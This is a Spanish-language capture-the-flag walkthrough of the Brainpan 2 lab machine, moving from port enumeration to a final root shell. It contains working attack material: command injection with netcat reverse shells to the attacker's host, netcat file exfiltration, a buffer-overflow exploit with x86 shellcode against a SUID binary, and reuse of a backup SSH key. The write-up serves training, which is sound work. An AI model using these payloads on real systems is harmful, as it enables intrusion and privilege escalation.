Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap
donde solo vemos 2 puertos abiertos, 9999
y 10000
igual que en la maquina brainpan 1
❯ nmap 192.168.100.63
Nmap scan report for 192.168.100.63
PORT STATE SERVICE
9999/tcp open abyss
10000/tcp open snet-sensor-mgmt
En la web del puerto 10000
encontramos una página sin nada realmente interesante
❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://192.168.100.63:10000/FUZZ -t 100 --hc 404
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.100.63:10000/FUZZ
Total requests: 4715
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000855: 301 0 L 0 W 0 Ch "bin"
En el directorio /bin
de la web encontramos un archivo llamado brainpan.exe
sin embargo al descargarlo vemos que no es un binario sino una simple imagen
❯ file brainpan.exe
brainpan.exe: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 85", baseline, precision 8, 381x307, components 3
Al conectarnos con netcat al puerto 9999
nos devuelve el mismo banner de simplemente 2.0
, el programa nos dice que nos autentiquemos como GUEST
❯ netcat 192.168.100.63 9999
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[______________________ WELCOME TO BRAINPAN 2.0________________________]
LOGIN AS GUEST
>>
Después de enviar GUEST
nos otorga acceso que nos pide enviar TELL ME MORE
para ver mas opciones, donde encontramos varias que llaman bastante la atencion
>> GUEST
ACCESS GRANTED
* * * *
THIS APPLICATION IS WORK IN PROGRESS. GUEST ACCESS IS RESTRICTED.
TYPE "TELL ME MORE" FOR A LIST OF COMMANDS.
* * * *
>> TELL ME MORE
FILES HELP VIEW CREATE
USERS MSG SYSTEM BYE
>>
Shell - anansi
Enviando FILES
podemos ver los archivos como si estuvieramos ejecutando un ls
>> FILES
total 36
-rwxr-xr-x 1 root root 18424 Nov 4 2013 brainpan.exe
-rw-r--r-- 1 root root 1109 Nov 5 2013 brainpan.txt
-rw-r--r-- 1 root root 683 Nov 4 2013 notes.txt
-rw-r--r-- 1 anansi anansi 12 Nov 5 2013 test-1
-rwxrwxrwx 1 anansi anansi 19 Nov 5 2013 test-2
>>
Usando el comando VIEW
nos pide un archivo al cual probablemente hace un cat
>> VIEW
ENTER FILE TO DOWNLOAD: /etc/hosts
127.0.0.1 localhost
127.0.1.1 brainpan2
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
>>
En el archivo a leer enviamos test y adjuntamos un ; id
para ejecutar otro comando, en el output podemos ver que ejecuta el comando como el usuario anansi
>> VIEW
ENTER FILE TO DOWNLOAD: test; id
uid=1000(anansi) gid=1000(anansi) groups=1000(anansi),50(staff)
>>
Ya que ejecutamos comandos en VIEW
, nos enviamos una reverse shell con netcat
>> VIEW
ENTER FILE TO DOWNLOAD: test; netcat -e /bin/sh 192.168.100.85 443
Al hacerlo recibimos una shell como el usuario anansi
en nuestro listener de netcat que curiosamente pertenece al grupo staff
que por ahora no nos sirve de nada
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.63
script /dev/null -c bash
anansi@brainpan2:/opt/brainpan$ id
uid=1000(anansi) gid=1000(anansi) groups=1000(anansi),50(staff)
anansi@brainpan2:/opt/brainpan$ hostname -I
192.168.100.63
anansi@brainpan2:/opt/brainpan$
Shell - root
Buscando por ejecutables con privilegios suid
encontramos uno personalizado que llama algo la atención, y es msg_root
el cual pertenece al usuario y grupo root
anansi@brainpan2:~$ find / -perm -u+s 2>/dev/null
/usr/sbin/exim4
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/procmail
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/newgrp
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/bin/umount
/bin/ping
/bin/mount
/bin/ping6
/bin/su
/home/reynard/msg_root
anansi@brainpan2:~$ ls -l /home/reynard/msg_root
-rwsr-xr-x 1 root root 8999 Nov 6 2013 /home/reynard/msg_root
anansi@brainpan2:~$
El programa pide como argumento un usuario
y un mensaje
, sin embargo incluso pasandole los argumentos
no queda muy claro cual es su funcion o que hace
anansi@brainpan2:~$ /home/reynard/msg_root
usage: msg_root username message
anansi@brainpan2:~$ /home/reynard/msg_root username message
Your message is message
anansi@brainpan2:~$
Para decompilarlo y analizarlo mejor podemos enviarlo a nuestro equipo con netcat
anansi@brainpan2:~$ netcat 192.168.100.85 4444 < /home/reynard/msg_root
anansi@brainpan2:~$
❯ netcat -lvnp 4444 > msg_root
Listening on 0.0.0.0 4444
Connection received on 192.168.100.63
Usando ida
podemos decompilar el binario y ver su pseudocodigo escrito en C
La función main
comprueba que el programa reciba 2 argumentos
, si pasa la comprobación llama a la función get_name
pasandole los 2 argumentos recibidos
int __cdecl main(int argc, const char **argv, const char **envp)
{
if ( argc <= 2 )
{
puts("usage: msg_root username message");
exit(0);
}
get_name((char *)argv[1], (char *)argv[2]);
return 0;
}
Resumiendo la función get_name
recibe los argumentos, define un buffer de solo 10
bytes para el primero que es username
, y despues dentro de un if usa la función strcpy
, la cual es conocida por ser usada en programas vulnerable a Buffer Overflow
void __cdecl get_name(char *param_1, char *param_2)
{
int len; // eax
char username[10]; // [esp+Eh] [ebp-12h] BYREF
char *message; // [esp+18h] [ebp-8h]
void (*fp)(char *, char *); // [esp+1Ch] [ebp-4h]
fp = save_msg;
if ( (unsigned int)strlen(param_1) > 17 )
strncpy(username, param_1, 18);
else
strcpy(username, param_1);
message = (char *)malloc(2000);
len = strlen(param_2);
strncpy(message, param_2, len);
save_message(username, message);
free(message);
}
La función save_msg
simplemente guarda el mensaje en el archivo /tmp/msg.txt
void __cdecl save_msg(char *username, char *message)
{
FILE *file; // [esp+10h] [ebp-4h]
printf("Your message is %s\n", message);
file = (FILE *)fopen("/tmp/msg.txt", "a");
fprintf(file, "%s: %s\n", username, message);
fclose(file);
}
anansi@brainpan2:~$ cat /tmp/msg.txt
username: message
anansi@brainpan2:~$
Antes de explotar el Buffer Overflow
podemos ver las protecciones del binario con checksec
, no tiene ninguna habilitada lo que facilitara bastante la explotacion
❯ checksec msg_root
[*] '/home/kali/msg_root'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
Para buscar el offset podemos abrir gdb
y crear un patron de caracteres de 20
bytes que pasaremos como el primer argumento username
que es el vulnerable, en el segundo podemos enviar cualquier cosa, corremos el programa y este se corrompe
❯ gdb -q msg_root
Reading symbols from msg_root...
pwndbg> cyclic 20
aaaabaaacaaadaaaeaaa
pwndbg> run aaaabaaacaaadaaaeaaa message
Starting program: /home/kali/msg_root aaaabaaacaaadaaaeaaa message
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0x61656161 in ?? ()
pwndbg>
Ahora con gdb buscamos el offset
que son la cantidad de bytes necesarios antes de llegar a sobreescribir el registro EIP
que espera la siguiente instruccion
pwndbg> cyclic -l $eip
Finding cyclic pattern of 4 bytes: b'aaea' (hex: 0x61616561)
Found at offset 14
pwndbg>
Aunque tenemos varias direcciones que llaman a EAX
no podemos explotarlo de esa forma ya que tendriamos un espacio de solo 14
bytes para nuestro shellcode
❯ ropper --file msg_root --jmp eax
JMP Instructions
================
0x080485a7: call eax;
0x0804862f: call eax;
0x0804872c: call eax;
0x080488bf: jmp eax;
4 gadgets found
Sin embargo podemos apuntar a una direccion de una variable
con el shellcode, para esto tendramos que compilar y subir un compilado
que extraiga la direccion
❯ curl -s https://raw.githubusercontent.com/intere/hacking/master/booksrc/getenvaddr.c -o getenvaddr.c
❯ gcc -m32 getenvaddr.c -o getenvaddr -static
❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
anansi@brainpan2:~$ wget 192.168.100.85/getenvaddr
anansi@brainpan2:~$ chmod +x getenvaddr
anansi@brainpan2:~$ ./getenvaddr
Usage: ./getenvaddr <environment variable> <target program name>
anansi@brainpan2:~$
Iniciamos definiendo un shellcode en x86 que nos ejecute una /bin/sh
al interpretarse en la variable $SHELLCODE
, despues ejecutamos el compilado que nos pide el nombre de la varible y la ruta del binario a explotar, obtenemos la direccion
anansi@brainpan2:~$ export SHELLCODE=$(python2 -c 'print("\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80")')
anansi@brainpan2:~$ ./getenvaddr SHELLCODE /home/reynard/msg_root
SHELLCODE will be at 0xbffff9f8
anansi@brainpan2:~$
La idea sera rellenar con A's
hasta llegar al EIP
, y ahi enviar la direccion de la variable que contiene el shellcode
, que al interpretarse nos dara una /bin/sh
Como estamos en little endian tenemos que darle la vuelta a la direccion 0xbffff9f8
en pares de 2 que quedaria como \xf8\xf9\xff\xbf
, al explotar el Buffer Overflow obtenemos una shell como el propietario que es root
, pero en un $
en lugar de #
anansi@brainpan2:~$ /home/reynard/msg_root $(python2 -c 'print("A"*14 + "\xf8\xf9\xff\xbf")') message
$ whoami
root
$ hostname -I
192.168.100.63
$
Shell - puck
Si intentamos leer la flag en el directorio /root
nos devuelve permiso denegado y el archivo whatif.txt
nos confirma con un mensaje que aun no somos el usuario root
$ cd /root
$ ls -l
-rw------- 1 root root 461 Nov 5 2013 flag.txt
-rw------- 1 root root 245 Nov 5 2013 whatif.txt
$ cat flag.txt
cat: flag.txt: Permission denied
$ cat whatif.txt
WHAT IF I TOLD YOU
___
/ \
| ______\
(, \_/ \_/
| ._. |
\ --- /
/`-.__.'
.---'`-.___|\___
/ `.
YOU ARE NOT ROOT?
$
Filtrando por la cadena root en el archivo /etc/passwd
podemos encontrar a 2 usuarios root
con el id 104
y root
con un espacio que es el id 0
que queremos
$ grep root /etc/passwd
root:x:104:106:root:/root:/bin/bash
root :x:0:0:root:/var/root:/bin/bash
$
Para evitar conflictos, con python haremos que nuestro uid
y gid
sea igual a 104
, despues nos lanzamos una bash
que puede llegar a ser un poco mas interactiva
$ python2
Python 2.7.3
>>> import os
>>> os.setreuid(104, 104)
>>> os.system("bash")
root@brainpan2:~$ whoami
root
root@brainpan2:~$ hostname -I
192.168.100.63
root@brainpan2:~$
Volvemos a listar binarios con privilegios suid
, y encontramos un brainpan-1.8.exe
root@brainpan2:~$ find / -perm -u+s 2>/dev/null
/opt/old/brainpan-1.8/brainpan-1.8.exe
/usr/sbin/exim4
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/procmail
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/newgrp
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/bin/umount
/bin/ping
/bin/mount
/bin/ping6
/bin/su
/home/reynard/msg_root
root@brainpan2:~$
El binario pertenece al usuario puck
, en ese directorio tambien existe un archivo brainpan.cfg
en el cual cualquier usuario permisos rw-
por lo que puede escribir
root@brainpan2:/opt/old/brainpan-1.8$ ls -l
-rwsr-xr-x 1 puck puck 17734 Nov 4 2013 brainpan-1.8.exe
-rw-r--r-- 1 puck puck 1227 Nov 5 2013 brainpan.7
-rw-rw-rw- 1 puck staff 25 Jul 25 16:13 brainpan.cfg
root@brainpan2:/opt/old/brainpan-1.8$
El archivo cfg
contiene un puerto
y una direccion ip
, y parece que esta es la conifuracion que usa como listener el binario brainpan-1.8.exe
al ejecutarlo
root@brainpan2:/opt/old/brainpan-1.8$ cat brainpan.cfg
port=9333
ipaddr=127.0.0.1
root@brainpan2:/opt/old/brainpan-1.8$ ./brainpan-1.8.exe
port = 9333
ipaddr = 127.0.0.1
+ bind done
+ waiting for connections...
Ya que podemos escribir en el archivo cfg cambiamos la variable ipaddr por 0.0.0.0
para que podamos acceder al puerto 9333
desde nuestro equipo de atacante
root@brainpan2:/opt/old/brainpan-1.8$ echo -e "port=9333\nipaddr=0.0.0.0" > brainpan.cfg
root@brainpan2:/opt/old/brainpan-1.8$ cat brainpan.cfg
port=9333
ipaddr=0.0.0.0
root@brainpan2:/opt/old/brainpan-1.8$ ./brainpan-1.8.exe
port = 9333
ipaddr = 0.0.0.0
+ bind done
+ waiting for connections...
Al conectarnos al puerto 9333
podemos ver que corre el mismo servicio del inicio
❯ netcat 192.168.100.63 9333
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[______________________ WELCOME TO BRAINPAN 1.8________________________]
LOGIN AS GUEST
>>
Sabemos que podemos ejecutar comandos
, asi que volvemos a hacer el proceso de autenticarnos como GUEST
y aprovechandonos de VIEW
nos enviamos una shell
>> GUEST
ACCESS GRANTED
* * * *
THIS APPLICATION IS WORK IN PROGRESS. GUEST ACCESS IS RESTRICTED.
TYPE "TELL ME MORE" FOR A LIST OF COMMANDS.
* * * *
>> VIEW
ENTER FILE TO DOWNLOAD: test; netcat -e /bin/sh 192.168.100.85 443
Al hacerlo recibimos nuevamente una shell esta vez como puck
, al lanzarnos una bash
usaremos el parametro -p
ya que estamos bajo el contexto del binario suid
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.63
script /dev/null -c "bash -p"
bash-4.2$ whoami
puck
bash-4.2$ hostname -I
192.168.100.63
bash-4.2$
Shell - root 2
Nuevamente con python actualizamos nuestro uid y gid por 1001
correspondiente a puck
, para asi obtener una shell
que no tendra problemas por el identificador
bash-4.2$ python2
Python 2.7.3
>>> import os
>>> os.setreuid(1001, 1001)
>>> os.system("bash")
puck@brainpan2:~$ whoami
puck
puck@brainpan2:~$ hostname -I
192.168.100.63
puck@brainpan2:~$
Al listar todos los archivos existentes partiendo del home de puck
encontramos un clave privada id_rsa
dentro de un directorio oculto que es ~/.backup/.ssh/
puck@brainpan2:~$ find
.
./.ssh
./.ssh/known_hosts
./.ssh/id_rsa.pub
./.ssh/id_rsa
./.profile
./.bash_history
./.backup
./.backup/.ssh
./.backup/.ssh/id_rsa.pub
./.backup/.ssh/id_rsa
./.backup/.profile
./.backup/.bash_history
./.backup/.bashrc
./.backup/.bash_logout
./.bashrc
./.bash_logout
puck@brainpan2:~$
Al intentar conectarnos como el usuario root
correspondiente al uid 0
al localhost nos dice que no tenemos conexion con el servicio ssh desde la 127.0.0.1:22
puck@brainpan2:~$ ssh "root "@127.0.0.1 -i .backup/.ssh/id_rsa
ssh: connect to host 127.0.0.1 port 22: Connection refused
puck@brainpan2:~$
Si vemos la configuracion de ssh
vemos que el servicio corre en 127.0.1.1:2222
puck@brainpan2:~$ grep -vE '^$|^#' /etc/ssh/sshd_config | head -n2
Port 2222
ListenAddress 127.0.1.1
puck@brainpan2:~$
Nos conectamos como el usuario root
a la 127.0.1.1
por el puerto 22
usando la id_rsa
para autenticarnos y obtenemos una shell como el root
que tiene el uid 0
puck@brainpan2:~$ ssh "root "@127.0.1.1 -p 2222 -i .backup/.ssh/id_rsa
root @brainpan2:~# id
uid=0(root ) gid=0(root ) groups=0(root )
root @brainpan2:~# hostname -I
192.168.100.63
root @brainpan2:~# cat /root/flag.txt
!!! CONGRATULATIONS !!!
You've completed the Brainpan 2 challenge!
Or have you...?
Yes, you have! Pat yourself on the back. :-)
Questions, comments, suggestions for new VM
challenges? Let me know!
Twitter: @superkojiman
Email : contact@techorganic.com
Web : http://www.techorganic.com
root @brainpan2:~#